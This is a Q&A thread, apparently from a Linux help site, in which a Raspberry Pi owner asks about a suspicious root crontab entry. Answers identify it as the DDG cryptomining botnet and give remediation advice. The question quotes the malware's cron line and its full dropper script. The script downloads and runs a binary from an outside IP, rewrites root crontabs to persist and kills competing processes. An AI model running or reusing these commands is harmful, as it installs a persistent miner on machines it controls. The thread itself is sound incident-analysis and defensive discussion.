60

I wanted to add something to my root crontab file on my Raspberry Pi, and found an entry that seems suspicious to me, searching for parts of it on Google turned up nothing.

Crontab entry:

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

The contents of http://103.219.112.66:8000/i.sh are:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

My Linux knowledge is limited, but to me it seems that downloading binaries from an Indonesian server and running them as root regularly is not something that is usual.

What is this? What should I do?

smci
  • 173
D__
  • 713
  • 17
    It’s circular. Every 15 minutes it downloads and installs a fresh copy of itself. If/when the copy on the remote server is changed, all servers running this cronjob will execute whatever the new code is, within 15 minutes. – Wildcard Oct 02 '19 at 17:50
  • 5
    Is your raspberry pi open to the internet? What is your raspberry pi running? This is the only result on google when I search for xribfa4. If you are not running software that needs to do this then this is likely a virus. – kemotep Oct 02 '19 at 18:18
  • 7
    @kemotep that string is random, but google for the IP and it gives a few results. Something about a ddg mining botnet – frostschutz Oct 02 '19 at 18:49
  • 10
    I found it. Its crazy that the IP is registered to an Indonesian Government site. Also looks like there is nearly 2000 other ips delivering this payload. – kemotep Oct 02 '19 at 19:20
  • 23
    The main thing you must be aware of is that even if you remove that crontab entry, your system most likely still has the vulnerability that allowed it to be infected. You need to find and fix that vulnerability. – Hans-Martin Mosner Oct 02 '19 at 21:15
  • 1
    @Wildcard Yeah, that's what I figured too, thanks for clarifying! – D__ Oct 02 '19 at 22:11
  • 1
    What makes me worried is what @Hans-MartinMosner says: my system is probably still vulnerable, and I have no idea what causes this. – D__ Oct 02 '19 at 22:20
  • 1
    The pi is open to the internet, it works as a wifi access point, @kemotep. But the wifi has WPA2 enabled, and the SSH password is not the default. – D__ Oct 02 '19 at 22:21
  • Sorry, I missed the line about http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) - that part isn't circular; that's the binary that's getting installed. – Wildcard Oct 03 '19 at 00:15
  • 3
    @PeterDam to quickly mitigate some exploits like this, block ssh login by password only and switch to pubkey+password, however the vulnerability that let this in might be in something other than ssh – Richie Frame Oct 03 '19 at 20:37
  • @RichieFrame yeah SSH might be the vulnerability, since not many ports were open. I had a quite unsafe password, I changed that and will look into public key SSH. – D__ Oct 05 '19 at 10:52
  • 1
    By the way, if there's a credit card terminal on this network or any network it can access, that's just the kind of thing that gets businesses nailed under PCI-DSS. And often it's not a hobbyist Pi, it's a product built around one. – Harper - Reinstate Monica Oct 05 '19 at 19:52
  • 1
    @PeterDam Would you mind sharing the old password for purely research reasons? (NO cough cough here I want to get to the root but not sure how much you know to get there). Can you also list all the earlier open ports? – 0fnt Oct 17 '19 at 06:31
  • 1
    The only open ports were 80 and 22. The old password was a four-letter name in lowercase. (I know, I know...) – D__ Oct 17 '19 at 08:03

2 Answers2

80

It is a DDG mining botnet , how it work :

  1. exploiting an RCE vulnerability
  2. modifying the crontab
  3. downloading the appropriate mining program (written with go)
  4. starting the mining process

DDG: A Mining Botnet Aiming at Database Servers

SystemdMiner when a botnet borrows another botnet’s infrastructure

U&L : How can I kill minerd malware on an AWS EC2 instance? (compromised server)

GAD3R
  • 66,769
  • 4
    Yeah, it actually seems that this is it. Thanks! Will mark this as an answer, if nothing new comes up. – D__ Oct 02 '19 at 22:22
  • 8
    Don't forget the usual advice for a rooted machine: try and figure out how they got in so you can fix the hole. Learn from this, and increase your security. Finally, nuke and reinstall the machine. – marcelm Oct 03 '19 at 20:55
  • 3
    The good news is that they don't appear to have a miner for the Pi, just for i686 and x86_64. – Mark Oct 03 '19 at 22:24
  • 13
    @Mark How is that good news? Someone gained full control over his Pi using an unknown entry point, and had full access to any secrets on the Pi (including but not limited to passwords). Whether or not the miner runs is really in the realm of "small inconvenience". – marcelm Oct 04 '19 at 20:35
  • 4
    @marcelm, the attacker gained full control over it, and then almost certainly didn't do anything significant with that control. – Mark Oct 04 '19 at 21:48
  • 2
    @Mark Unless you are the one responsible for this compromise, you have no way of knowing, what other nasty stuff got executed, before the discovery. This could be the latest payload, in a series of different payloads. – Mogens TrasherDK Oct 19 '19 at 03:30
3

Figure out which TCP and UDP ports are actually needed, and then block all of the other ports in your router's firewall. Possibly, those crontab entries will not reappear.

You can see which ports are open and public by using the Shields Up! feature at grc.com.


Without blocking the unused ports first, it might get reinfected while he was trying to patch it.

  • 5
    Or he could patch the vulnerability. – Harper - Reinstate Monica Oct 05 '19 at 18:19
  • 1
    @Harper Absolutely! That's a given. I was thinking that perhaps without blocking the unused ports first, it might get reinfected while he was trying to patch it. – Mike Waters Oct 05 '19 at 18:56
  • 2
    Relevant comment from security.SE: https://security.stackexchange.com/questions/147770/grc-shields-up-test-are-stealth-ports-good#comment278783_147770 – Wildcard Oct 09 '19 at 22:37
  • 1
    This (not limiting to just TCP and UDP, though), always. A.k.a. positive security model, whitelist or deny-by-default — deny all traffic that you don't explicitly use or need — the only way to ensure none of your holes are exposed to penetration. – antichris Oct 16 '19 at 13:27